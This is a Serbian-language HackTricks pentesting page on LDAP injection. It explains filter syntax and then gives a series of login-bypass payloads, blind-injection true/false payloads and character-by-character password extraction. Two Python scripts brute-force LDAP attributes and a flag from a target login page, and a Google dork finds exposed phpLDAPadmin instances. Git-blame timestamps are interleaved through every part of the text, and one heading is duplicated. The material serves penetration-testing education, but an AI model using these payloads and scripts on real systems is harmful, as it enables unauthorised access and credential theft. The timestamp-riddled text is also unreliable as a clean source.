2022-04-30 20:31:18 +00:00
# LDAP Injection
2022-04-28 16:01:33 +00:00
2022-05-07 13:38:40 +00:00
## LDAP Injection
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-02-03 14:45:32 +00:00
2024-03-17 16:33:13 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU** ](https://github.com/sponsors/carlospolop )!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-02-18 14:58:46 +00:00
* Otkrijte [**Porodicu PEASS** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-03-29 21:14:05 +00:00
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-29 21:14:05 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-02-18 14:58:46 +00:00
2024-03-29 21:14:05 +00:00
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
2022-04-30 20:31:18 +00:00
2024-02-18 14:58:46 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2020-07-15 15:43:14 +00:00
2022-05-07 13:38:40 +00:00
## LDAP Injection
2022-04-30 20:31:18 +00:00
2022-05-07 13:38:40 +00:00
### **LDAP**
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
**Ako želite da saznate šta je LDAP, posetite sledeću stranicu:**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md ](../network-services-pentesting/pentesting-ldap.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-08 20:38:29 +00:00
2024-03-29 21:14:05 +00:00
**LDAP Injection** je napad koji cilja veb aplikacije koje konstruišu LDAP izjave na osnovu korisničkog unosa. To se dešava kada aplikacija **nepravilno filtrira** unos, omogućavajući napadačima da **manipulišu LDAP izjavama** putem lokalnog proksija, što potencijalno može dovesti do neovlašćenog pristupa ili manipulacije podacima.
2020-07-15 15:43:14 +00:00
2023-02-14 11:55:05 +00:00
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
2021-10-18 11:21:18 +00:00
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_ \
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
2024-03-29 21:14:05 +00:00
**(& )** = Apolutna ISTINA\
**(|)** = Apolutna LAŽ
2021-10-18 11:21:18 +00:00
2024-02-10 13:11:20 +00:00
Na primer:\
2021-10-18 11:21:18 +00:00
`(&(!(objectClass=Impresoras))(uid=s*))` \
`(&(objectClass=user)(uid=*))`
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Možete pristupiti bazi podataka, koja može sadržati informacije različitih tipova.
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
**OpenLDAP**: Ako stignu 2 filtera, izvršava se samo prvi.\
2024-03-17 16:33:13 +00:00
**ADAM ili Microsoft LDS**: Sa 2 filtera izbacuju grešku.\
2024-02-10 13:11:20 +00:00
**SunOne Directory Server 5.0**: Izvršava oba filtera.
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
**Veoma je važno poslati filter sa ispravnom sintaksom ili će biti izbačena greška. Bolje je poslati samo 1 filter.**
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Filter mora početi sa: `&` ili `|` \
Primer: `(&(directory=val1)(folder=public))`
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
`(&(objectClass=VALUE1)(type=Epson*))` \
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Zatim: `(&(objectClass=` **`*)(ObjectClass=*))`** će biti prvi filter (onaj koji se izvršava).
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
### Bypassovanje Logovanja
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:05 +00:00
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, moguće je da bez obzira na to šta unesete kao lozinku, ona će biti heširana.
2024-04-06 19:39:21 +00:00
2020-07-15 15:43:14 +00:00
```bash
user=*
password=*
--> (& (user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (& (user=*)(& )(password=*)(& ))
```
```bash
user=*)(|(&
pass=pwd)
--> (& (user=*)(|(& )(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (& (user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (& (user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(& )
password=pwd
--> (& (user=admin)(& ))(password=pwd) #Can through an error
```
```bash
username = admin)(!(& (|
pass = any))
2021-06-08 21:58:39 +00:00
--> (& (uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
2020-07-15 15:43:14 +00:00
```
```bash
username=*
password=*)(&
--> (& (user=*)(password=*)(& ))
```
```bash
username=admin))(|(|
password=any
--> (& (uid=admin)) (| (|) (webpassword=any))
```
2024-04-06 19:39:21 +00:00
2024-02-10 13:11:20 +00:00
#### Liste
2021-06-08 21:58:39 +00:00
2022-04-30 20:31:18 +00:00
* [LDAP\_FUZZ ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt )
2024-02-18 14:58:46 +00:00
* [LDAP Atributi ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt )
2024-02-10 13:11:20 +00:00
* [LDAP PosixAccount atributi ](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html )
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
### Slepa LDAP Injekcija
2021-06-08 21:58:39 +00:00
2024-02-18 14:58:46 +00:00
Možete prisiliti lažne ili tačne odgovore da proverite da li se vraćaju podaci i potvrdite moguću slepu LDAP injekciju:
2024-04-06 19:39:21 +00:00
2021-06-08 21:58:39 +00:00
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=* ))(& objectClass=void
Final query: (& (objectClass= *)(objectClass=* ))(& objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(& objectClass=void
Final query: (& (objectClass= void)(objectClass=void))(& objectClass=void )(type=Pepi*))
```
2024-04-06 19:39:21 +00:00
2024-02-18 14:58:46 +00:00
#### Izbacivanje podataka
2021-06-08 21:58:39 +00:00
2024-03-29 21:14:05 +00:00
Možete iterirati kroz ASCII slova, cifre i simbole:
2024-04-06 19:39:21 +00:00
2020-07-15 15:43:14 +00:00
```bash
(& (sn=administrator)(password=*)) : OK
(& (sn=administrator)(password=A*)) : KO
(& (sn=administrator)(password=B*)) : KO
...
(& (sn=administrator)(password=M*)) : OK
(& (sn=administrator)(password=MA*)) : KO
(& (sn=administrator)(password=MB*)) : KO
...
```
2024-04-06 19:39:21 +00:00
2024-02-10 13:11:20 +00:00
### Skripte
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
#### **Otkrijte važeća LDAP polja**
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
LDAP objekti **podrazumevano sadrže nekoliko atributa** koji se mogu koristiti za **čuvanje informacija** . Možete pokušati **bruteforce-ovati sve njih kako biste izvukli te informacije** . Možete pronaći listu [**podrazumevanih LDAP atributa ovde** ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt ).
2024-04-06 19:39:21 +00:00
2020-07-15 15:43:14 +00:00
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
2024-02-10 13:11:20 +00:00
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
2024-04-06 19:39:21 +00:00
2024-02-10 13:11:20 +00:00
#### **Posebna slepa LDAP ubacivanje (bez "\*")**
2024-04-06 19:39:21 +00:00
2020-07-15 15:43:14 +00:00
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
2024-02-10 13:11:20 +00:00
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir& search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
2020-07-15 15:43:14 +00:00
```
2024-04-06 19:39:21 +00:00
2024-03-29 21:14:05 +00:00
### Google Dorks
2024-02-10 13:11:20 +00:00
### Google Dorks
2024-04-06 19:39:21 +00:00
2020-07-15 15:43:14 +00:00
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
2024-04-06 19:39:21 +00:00
2024-02-18 14:58:46 +00:00
### Više Payload-a
2021-06-08 21:58:39 +00:00
2022-05-08 22:42:39 +00:00
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
2024-04-06 19:39:21 +00:00
< figure > < img src = "https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-05-08 22:42:39 +00:00
2024-03-29 21:14:05 +00:00
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
2024-02-18 14:58:46 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-18 14:58:46 +00:00
Drugi načini podrške HackTricks-u:
2024-02-03 14:45:32 +00:00
2024-03-29 21:14:05 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU** ](https://github.com/sponsors/carlospolop )!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-03-29 21:14:05 +00:00
* Otkrijte [**Porodicu PEASS** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >